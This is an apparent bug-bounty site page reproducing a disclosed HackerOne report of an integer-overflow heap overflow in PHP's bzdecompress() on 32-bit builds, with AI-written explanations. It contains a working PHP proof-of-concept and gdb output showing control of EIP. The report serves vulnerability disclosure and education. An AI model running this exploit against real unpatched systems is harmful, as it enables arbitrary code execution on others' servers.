Skip to content
Memory corruption Disclosed report Advanced

Heap overflow due to integer overflow in bzdecompress() function

The bzdecompress() function in PHP's Bzip2 module calculates the output buffer size by multiplying the input length by two, which can overflow on 32-bit systems. An attacker can supply a very large compressed string to cause a heap overflow, leading to arbitrary code execution.

fosec Follow

Originally disclosed on HackerOne

  • Fixed in 27 days
  • Paid in 27 days
  • Disclosed after 3.0 years

The fix for this bug has been committed: https://bugs.php.net/bug.php?id=73386 Description:

I have found some vulnerable code at bzdecompress() function in module Bzip2. bzdecompress() function creates a new zend_string object to store decompressed data. The size of destination string depends on the size of source string. ( refer at ext/bz2/bz2.c:589 )

C
static PHP_FUNCTION(bzdecompress)
{
....
	bzs.avail_in = source_len;
	/* in most cases bz2 offers at least 2:1 compression, so we use that as our base */
	bzs.avail_out = source_len * 2;
	dest = zend_string_alloc(bzs.avail_out + 1, 0);
....
}

If compressed string is too long, bzs.avail_out will be an unexpected value and zend_string_alloc() function will allocate a small memory range. Due to missing check of size before calling

zend_string_alloc(), this new memory range can not use to store large decompressed data and lead to heap overflow. The overflow results as arbitrary code execution, I can control eip register to the arbitrary value. This bug is only triggered in 32bit machine.

Test script:

PHP
<?php
ini_set('memory_limit', -1);
$s = str_repeat('A', 0xE3AC)."BBBB".str_repeat('C', 0x1C50);
$a = bzcompress($s);
$a = $a.str_repeat('A', 4634 - strlen($a));
$a = str_repeat($a, 0x7ffffffe / strlen($a)); // try to create a compressed data with large size
bzdecompress($a); // trigger this vulnerability
?>

Actual result:

[root@local PHP-7.1]# gdb --args sapi/cli/php -f ../crash/bz_poc.php

[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x1
ECX: 0xffffff60
EDX: 0x7fff
ESI: 0xb7813020 --> 0xb78743f0 ('A' <repeats 28 times>, "BBBB", 'C' <repeats 168 times>...)
EDI: 0xb787440c ("BBBB", 'C' <repeats 196 times>...)
EBP: 0xbfffc094 --> 0x0
ESP: 0xbfffbffc --> 0x835fd02 (<execute_ex+34>: test   edi,edi)
EIP: 0x42424242 --> 0x2478184
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
=> 0x42424242:  test   BYTE PTR [ecx+0x60380247],al
   0x42424248:  inc    ecx
   0x42424249:  inc    ecx
   0x4242424a:  inc    ecx
[------------------------------------stack-------------------------------------]
0000| 0xbfffbffc --> 0x835fd02 (<execute_ex+34>:        test   edi,edi)
0004| 0xbfffc000 --> 0xbfffc094 --> 0x0
0008| 0xbfffc004 --> 0xb7864180 --> 0x2
0012| 0xbfffc008 --> 0x0
0016| 0xbfffc00c --> 0x83aed9b (<zend_execute+315>:     mov    edx,DWORD PTR [esp+0x18])
0020| 0xbfffc010 --> 0xb7813020 --> 0xb78743f0 ('A' <repeats 28 times>, "BBBB", 'C' <repeats 168 times>...)
0024| 0xbfffc014 --> 0x0
0028| 0xbfffc018 --> 0x1c
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 in ?? ()
gdb-peda$ i r eip
eip            0x42424242       0x42424242
gdb-peda$

EIP is controlled as 0x42424242, from the input "BBBB".

The original report as published on HackerOne, by fosec. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely an integer overflow in the calculation of the output buffer size (source_len * 2) on 32-bit systems, leading to an undersized allocation.

Impact

The heap overflow could lead to arbitrary code execution, as the attacker can control the EIP register; this is only triggered on 32-bit machines.

What the attacker needed

32-bit PHP build; ability to call bzdecompress() with attacker-controlled…

The fix

A fix for this bug has been committed, according to the report.

How it was found

  1. Create a large compressed string by repeating a compressed payload to reach a size that causes integer overflow.
  2. Call bzdecompress() with that string.
  3. Observe the heap overflow and control of the EIP register.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The bzdecompress function tries to guess how much space it needs for decompressed data by doubling the input size. On 32-bit systems, this doubling can wrap around to a small number, so the program allocates too little memory. When it then writes the decompressed data, it overflows the buffer and can crash or run attacker code.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by fosec

View all

5 more disclosed reports, best first.

More from Internet Bug Bounty

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.